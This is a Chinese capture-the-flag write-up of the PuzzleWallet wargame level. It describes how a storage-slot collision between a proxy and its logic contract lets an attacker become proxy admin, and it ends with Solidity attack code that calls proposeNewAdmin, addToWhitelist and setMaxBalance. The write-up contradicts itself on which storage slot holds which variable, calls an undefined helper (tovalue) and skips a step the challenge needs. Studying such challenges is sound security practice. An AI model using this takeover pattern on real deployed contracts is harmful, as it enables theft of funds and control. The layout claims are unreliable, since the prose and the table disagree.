PuzzleWallet
Reference
目标
成为代理合约的 admin 账户
分析
slot
proxy-admin地址和wallet-maxBalance存储在slot0proxy-pendingAdmin地址和wallet-owner存储在slot1
| Proxy-slot0 | Wallet-slot0 | Proxy-slot1 | Wallet-slot1 |
|---|---|---|---|
| pendingAdmin | owner | admin | maxBalance |
Proxy合约存储状态,Wallet合约存储逻辑Wallet合约的数据更新不会影响Proxy合约,因为Proxy只会使自己合约存储的数据Proxy合约的数据更新会影响Wallet合约的函数判断,因为Proxy会把Wallet合约逻辑拿到Proxy EVM环境中执行
maxBalance
Proxy-admin地址和Wallet-maxBalance存储在slot0- 如果可以在
Proxy中更新slot0->maxBalance(admin)数据,就可以实现目标
Wallet-setMaxBalance()
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted,函数需要白名单地址才能调用
Wallet-addToWhitelist()
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
- 函数需要
owner地址调用 - 在
Wallet逻辑合约中,owner存储在slot0 - 对于
Proxy函数调用过程中owner的判断,也会从slot0中取数据 Proxy slot0中存储的是pendingAdmin地址而言
Proxy-proposeNewAdmin()
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
Proxy 合约调用 proposeNewAdmin() 函数修改 slot0-pendingAdmin ,不需要额外的验证,任何地址都可以提交修改。
实现逻辑–修改admin为attack()合约地址
- 部署
Attack()合约,实例化Proxy和Wallet合约,将Proxy合约的admin地址更新为msg.sender - 调用
Proxy合约proposeNewAdmin()函数,Attack合约地址作为参数传递 –>Proxy 的slot0 存储 Attack() 合约地址 - 在
Proxy合约中调用addToWhitelist()函数:addToWhitelist()校验owner身份,owner存储在slot0位置Proxy合约按照Wallet逻辑,从slot0取出owner地址slot0存储的是Attack()合约地址,交易发起者也是Attack()合约, 满足判断条件
- 在
Proxy合约中调用setMaxBalance()函数,将Attack合约地址作为参数传递setMaxBalance()校验 白名单- 第三步骤将
Attack合约置为白名单,满足条件 Proxy合约按照Wallet逻辑–> 更新slot1数据
- 在
Proxy中读取slot1--> Admin地址
constructor() {
pw = new PuzzleWallet();
pp = new PuzzleProxy(msg.sender, address(pw), "");
}
function attack() external returns (address) {
pp.proposeNewAdmin(address(this));
bytes memory data = abi.encodeWithSelector(
bytes4(keccak256("addToWhitelist(address)")),
address(this)
);
address(pp).call(data);
uint256 value = tovalue(address(this));
data = abi.encodeWithSelector(
bytes4(keccak256("setMaxBalance(uint256)")),
value
);
address(pp).call(data);
return pp.admin();
}